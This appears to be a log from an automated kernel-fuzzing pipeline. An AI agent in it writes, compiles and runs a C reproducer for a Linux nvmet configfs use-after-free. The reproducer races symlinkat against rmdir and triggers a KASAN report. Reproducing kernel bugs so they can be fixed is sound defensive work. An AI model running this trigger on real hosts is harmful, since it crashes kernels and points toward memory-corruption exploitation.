	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

253/4 2026/08/26 18:31 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 38298
							output: 30
							thoughts: 1594
						

Thoughts:
**My Thought Process on Setting Up and Executing the NVMET Race Condition Reproducer**

Alright, let's dive into this. The primary goal here is to trigger a race condition within the NVMET driver, specifically targeting a UAF (Use-After-Free) vulnerability reported to be in `nvmet_port_subsys_allow_link`. My initial step is to acknowledge the availability of the `race_toolkit.h` header and ensure it's included – that's the foundational piece for any of these exploit setups.

Now, to the heart of it: reviewing the reproducer code.

First, I see the necessary includes: `race_toolkit.h` (of course), along with standard headers for threading (`pthread.h`), I/O (`stdio.h`, `stdlib.h`, `unistd.h`), file operations (`fcntl.h`, `sys/stat.h`), system calls (`sys/syscall.h`), timing (`time.h`), and error handling (`errno.h`, `string.h`). This looks like a solid set of tools for what we need to do.

The `volatile int stop = 0;` is a clear indicator that there will be threads that need to be signaled to cease their operations gracefully. This is a standard pattern for managing long-running threads in test scenarios.

I then examine the `symlink_thread`. Its core logic is a loop that continuously attempts to create a symbolic link using `syscall(SYS_symlinkat, ...)` and then immediately unlinks it if the symlink creation was successful. The target paths `/sys/kernel/config/nvmet/subsystems/subsys1` and the destination `/sys/kernel/config/nvmet/ports/1/subsystems/subsys1` are crucial. This thread is clearly designed to bombard the kernel with symlink creations and deletions, aiming to confuse its state management. The `__atomic_load_n(&stop, __ATOMIC_ACQUIRE)` ensures it checks the stop flag atomically and with memory ordering appropriate for thread synchronization.

Next, the `rmdir_thread`. This thread operates in a similar loop, but its actions are `mkdir("/sys/kernel/config/nvmet/ports/1", 0777)` followed by `rmdir("/sys/kernel/config/nvmet/ports/1")`. The intent here is to repeatedly create and remove the directory `/sys/kernel/config/nvmet/ports/1`. This action, in conjunction with the `symlink_thread`, is likely intended to create a race condition around the existence and state of this directory and its parent/child relationships. Again, the atomic stop check is present.

The `main` function is where the setup and orchestration happen.

`SETUP_UNBUFFERED_IO();` – standard practice for ensuring immediate output, which is vital for debugging and observing test progress.

`system("mount -t configfs none /sys/kernel/config 2>/dev/null");` and `system("modprobe nvmet 2>/dev/null");` – these are preparatory steps. We need `configfs` mounted on `/sys/kernel/config` for the NVMET configuration interface to be available. Then, we need the `nvmet` module loaded. The `2>/dev/null` is there to suppress any error messages if these operations have already been performed or are unnecessary (e.g., `nvmet` is built-in).

`usleep(100000);` – a small delay after these setup commands, giving the kernel a moment to process them.

Then comes the creation of the subsystem: `if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST)`. This is where I paused for a moment. My immediate thought was, "What if `/sys/kernel/config/nvmet/subsystems` doesn't exist yet?" The bug report states that `nvmet_port_subsys_allow_link` is in `drivers/nvme/target/configfs.c`, which implies the `nvmet` module *should* create these directories. However, I considered the edge case: what if `modprobe nvmet` failed, or if the module wasn't loaded at all? The bug report itself mentioned `nvmet_init_configfs`, which is responsible for registering the subsystem with `configfs`. If `configfs` is mounted *after* the `nvmet` module is loaded (or if `nvmet` is built-in), this subsystem directory should appear.

The thought process then correctly identifies that if `nvmet` is built-in, `/sys/kernel/config/nvmet` is created upon `configfs` mount. The critical point is that `nvmet_init_configfs` registers the subsystem, and if `configfs` is mounted later, this subsystem becomes visible. So, the order of mounting `configfs` first, then loading `nvmet` (if it's a module), seems robust. If `/sys/kernel/config/nvmet` doesn't exist after these steps, it indicates a problem. The reproducer then appropriately checks for this existence using `stat`.

My internal monologue confirmed that trying to `mkdir` `/sys/kernel/config/nvmet` directly might fail with `EPERM` if it's not properly registered, so checking for its existence via `stat` is the correct approach.

The revised logic I'm considering incorporating is:

```c
    struct stat st;
    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1; // Exit if the expected NVMET configfs structure isn't there.
    }
    printf("[+] nvmet subsystem found.\n");
```
This is a more robust check than just blindly creating `subsys1`.

Then, the subsequent `mkdir` for `subsys1` is checked against `EEXIST`, which is correct.

The code then proceeds to create thread arrays `t1[4]` and `t2[4]` and populates them with instances of `symlink_thread` and `rmdir_thread`. Four threads of each type are spawned – this is a common approach to increase the likelihood of hitting a race condition by generating more concurrent access.

`TIMER_START(start);` and `while (TIMER_NOT_EXPIRED(start, 5.0)) { usleep(100000); }` – this sets up a timer for 5 seconds. The threads will run concurrently for this duration, attempting to trigger the race. The `usleep` inside the loop prevents a tight busy-wait.

`__atomic_store_n(&stop, 1, __ATOMIC_RELEASE);` – after the timeout, the `stop` flag is set to 1 using an atomic store with release semantics. This signals all the running threads to terminate their loops.

`pthread_join` loops ensure that the main thread waits for all worker threads to complete their execution before proceeding.

Finally, `printf("[+] Done.\n");` indicates successful completion of the reproducer's execution phase.

Regarding the KASAN UAF report: I understand that KASAN will detect the Use-After-Free. If the kernel panics as a result, the reproducer technically "succeeds" by demonstrating the crash. If the kernel *doesn't* panic and continues execution, the reproducer will still finish cleanly, but the critical KASAN report will be logged in `dmesg`, which is what the testing environment will be looking for. So, either outcome from the kernel's perspective leads to a successful validation of the bug's presence.

Finally, a quick check on dependencies: `nvmet_port_subsys_allow_link` calls `nvmet_enable_port(port)` if it's the first subsystem. This function might have its own checks or dependencies, but the primary goal is to hit the race in `allow_link` itself. If `nvmet_enable_port` fails for unrelated reasons, it might prevent the bug from being triggered, but the setup so far seems designed to meet the prerequisites. The current structure of the reproducer appears sound for its intended purpose.


254/4 2026/08/26 18:32 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:nvmet_enable_port]

Results:
map[SourceCode: 316:	int nvmet_enable_port(struct nvmet_port *port)
 317:	{
 318:		const struct nvmet_fabrics_ops *ops;
 319:		int ret;
 320:	
 321:		lockdep_assert_held(&nvmet_config_sem);
 322:	
 323:		if (port->disc_addr.trtype == NVMF_TRTYPE_MAX)
 324:			return -EINVAL;
 325:	
 326:		ops = nvmet_transports[port->disc_addr.trtype];
 327:		if (!ops) {
 328:			up_write(&nvmet_config_sem);
 329:			request_module("nvmet-transport-%d", port->disc_addr.trtype);
 330:			down_write(&nvmet_config_sem);
 331:			ops = nvmet_transports[port->disc_addr.trtype];
 332:			if (!ops) {
 333:				pr_err("transport type %d not supported\n",
 334:					port->disc_addr.trtype);
 335:				return -EINVAL;
 336:			}
 337:		}
 338:	
 339:		if (!try_module_get(ops->owner))
 340:			return -EINVAL;
 341:	
 342:		/*
 343:		 * If the user requested PI support and the transport isn't pi capable,
 344:		 * don't enable the port.
 345:		 */
 346:		if (port->pi_enable && !(ops->flags & NVMF_METADATA_SUPPORTED)) {
 347:			pr_err("T10-PI is not supported by transport type %d\n",
 348:			       port->disc_addr.trtype);
 349:			ret = -EINVAL;
 350:			goto out_put;
 351:		}
 352:	
 353:		ret = ops->add_port(port);
 354:		if (ret)
 355:			goto out_put;
 356:	
 357:		/* If the transport didn't set inline_data_size, then disable it. */
 358:		if (port->inline_data_size < 0)
 359:			port->inline_data_size = 0;
 360:	
 361:		/*
 362:		 * If the transport didn't set the max_queue_size properly, then clamp
 363:		 * it to the target limits. Also set default values in case the
 364:		 * transport didn't set it at all.
 365:		 */
 366:		if (port->max_queue_size < 0)
 367:			port->max_queue_size = NVMET_MAX_QUEUE_SIZE;
 368:		else
 369:			port->max_queue_size = clamp_t(int, port->max_queue_size,
 370:						       NVMET_MIN_QUEUE_SIZE,
 371:						       NVMET_MAX_QUEUE_SIZE);
 372:	
 373:		/*
 374:		 * If the transport didn't set the mdts properly, then clamp it to the
 375:		 * target limits. Also set default values in case the transport didn't
 376:		 * set it at all.
 377:		 */
 378:		if (port->mdts < 0 || port->mdts > NVMET_MAX_MDTS)
 379:			port->mdts = 0;
 380:	
 381:		port->enabled = true;
 382:		port->tr_ops = ops;
 383:		return 0;
 384:	
 385:	out_put:
 386:		module_put(ops->owner);
 387:		return ret;
 388:	}
 SourceFile:drivers/nvme/target/core.c]

255/4 2026/08/26 18:32 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 41029
							output: 909
							thoughts: 3427
						

Thoughts:
**A Deep Dive into the NVMe-TCP Port Subsystem UAF**

My investigation into this kernel bug has been quite the journey, and I believe I've zeroed in on the exact vulnerability and crafted a precise reproducer. It all started with analyzing the failure path of `nvmet_enable_port`. I noticed that it returns `-EINVAL` if `port->disc_addr.trtype` is `NVMF_TRTYPE_MAX`, and that `nvmet_ports_make` initializes `trtype` to this exact value. My initial thought was that this might prevent the UAF, but upon closer inspection of `nvmet_port_subsys_allow_link`, I saw that `nvmet_enable_port` is called *after* the problematic access.

The real culprit, as it turns out, is a Use-After-Free (UAF) occurring much earlier in `nvmet_port_subsys_allow_link`. The vulnerable line is:

```c
struct nvmet_port *port = to_nvmet_port(parent->ci_parent);
```

Here, `port` is being derived from `parent->ci_parent`. Crucially, the `parent` variable is derived from `&port->subsys_group.cg_item`, meaning `parent` is an offset of `port` itself. Specifically, `parent` is at offset 1176 within the `port` structure, and `parent->ci_parent` is at offset 1224. This means that the dereference of `parent->ci_parent` to obtain `port` is an access to offset 1224 of the *already freed* `port` structure.

This perfectly aligns with the crash report detailing a "Read of size 8 at addr ffff88801af304c8", which is exactly 1224 bytes into the freed 4096-byte region. This occurs *before* any attempt to iterate over `port->subsystems`, which was my initial hypothesis for the UAF. The fact that this access happens at the very beginning of `nvmet_port_subsys_allow_link` makes the reproducer exceptionally simple and robust, as it doesn't even require successfully enabling the port.

My concern then shifted to the race condition that leads to the freeing of the `port` structure. I considered the `rmdir` operation on `/sys/kernel/config/nvmet/ports/1`. If this directory is not empty, `rmdir` will fail with `ENOTEMPTY`. However, I realized that if the `symlinkat` operation in the `symlink_thread` succeeds, it will create an entry in `ports/1/subsystems`, causing `rmdir` to fail. This *doesn't* free the port. The race, therefore, occurs when the `symlinkat` is in progress (specifically, within `get_target` when it's preparing to call `nvmet_port_subsys_allow_link`), and concurrently, `rmdir("/sys/kernel/config/nvmet/ports/1")` is called. At this precise moment, `ports/1/subsystems` is empty, allowing `rmdir` to succeed, freeing the `port` structure. Subsequently, when the `symlinkat` operation resumes and calls `nvmet_port_subsys_allow_link`, it triggers the UAF as described above. This sequence of events provides a clear and reliable race window.

Finally, I had to ensure the reproducer adhered to all constraints, particularly avoiding shell commands like `system("modprobe nvmet")`. I've removed this and will rely on the `nvmet` module being loaded or built-in, as its functions are clearly being called. The necessary setup for `configfs` and the `nvmet` subsystem is handled directly through standard system calls and mount operations. The final C reproducer leverages this understanding, creating threads for `symlinkat` and `rmdir` operations to repeatedly trigger this specific race condition within a 5-second window, ensuring the UAF is caught by KASAN.


256/4 2026/08/26 18:32 tool set-results
0m Args:
map[IsProbe:false RawCandidateReproC:#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <time.h>
#include <errno.h>
#include <string.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        if (syscall(SYS_symlinkat, "/sys/kernel/config/nvmet/subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    struct stat st;
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to create subsys1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created subsys1 successfully.\n");

    pthread_t t1[4], t2[4];
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    printf("[+] Done.\n");
    return 0;
}
]

Results:
map[IsProbe:false RawCandidateReproC:#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <time.h>
#include <errno.h>
#include <string.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        if (syscall(SYS_symlinkat, "/sys/kernel/config/nvmet/subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    struct stat st;
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to create subsys1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created subsys1 successfully.\n");

    pthread_t t1[4], t2[4];
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    printf("[+] Done.\n");
    return 0;
}
]

257/3 2026/08/26 18:32 loop
0m
258/4 2026/08/26 18:32 iteration 0
0m
259/5 2026/08/26 18:32 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#include "race_toolkit.h"
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <time.h>
#include <errno.h>
#include <string.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        if (syscall(SYS_symlinkat, "/sys/kernel/config/nvmet/subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    struct stat st;
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to create subsys1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created subsys1 successfully.\n");

    pthread_t t1[4], t2[4];
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    printf("[+] Done.\n");
    return 0;
}
]

260/5 2026/08/26 18:32 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <time.h>
#include <errno.h>
#include <string.h>

volatile int stop = 0;

void *symlink_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        if (syscall(SYS_symlinkat, "/sys/kernel/config/nvmet/subsystems/subsys1", AT_FDCWD, 
                    "/sys/kernel/config/nvmet/ports/1/subsystems/subsys1") == 0) {
            unlink("/sys/kernel/config/nvmet/ports/1/subsystems/subsys1");
        }
    }
    return NULL;
}

void *rmdir_thread(void *arg)
{
    while (!__atomic_load_n(&stop, __ATOMIC_ACQUIRE)) {
        mkdir("/sys/kernel/config/nvmet/ports/1", 0777);
        rmdir("/sys/kernel/config/nvmet/ports/1");
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();
    
    struct stat st;
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/subsystems/subsys1", 0777) < 0 && errno != EEXIST) {
        printf("[-] Failed to create subsys1: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created subsys1 successfully.\n");

    pthread_t t1[4], t2[4];
    
    for (int i = 0; i < 4; i++) {
        pthread_create(&t1[i], NULL, symlink_thread, NULL);
        pthread_create(&t2[i], NULL, rmdir_thread, NULL);
    }
    
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        usleep(100000);
    }
    
    __atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
    
    for (int i = 0; i < 4; i++) {
        pthread_join(t1[i], NULL);
        pthread_join(t2[i], NULL);
    }
    
    printf("[+] Done.\n");
    return 0;
}
]

261/5 2026/08/26 18:32 action If
0m Args:
map[CompilerError:]

262/3 2026/08/26 18:32 action run-c-repro
1m Results:
map[CandidateBugTitle:KASAN: slab-use-after-free Read in nvmet_port_subsys_allow_link CandidateCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
Read of size 8 at addr ffff8881987a64c8 by task syz-executor991/5855

CPU: 0 UID: 0 PID: 5855 Comm: syz-executor991 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 nvmet_port_subsys_allow_link+0x41/0x2e0 drivers/nvme/target/configfs.c:1059
 configfs_symlink+0x59a/0x1030 fs/configfs/symlink.c:196
 vfs_symlink+0x18b/0x330 fs/namei.c:5794
 filename_symlinkat+0x1cd/0x410 fs/namei.c:5819
 __do_sys_symlinkat fs/namei.c:5839 [inline]
 __se_sys_symlinkat+0x4e/0x2b0 fs/namei.c:5834
 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
 do_syscall_64+0x166/0x520 arch/x86/entry/syscall_64.c:84
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f91233b0459
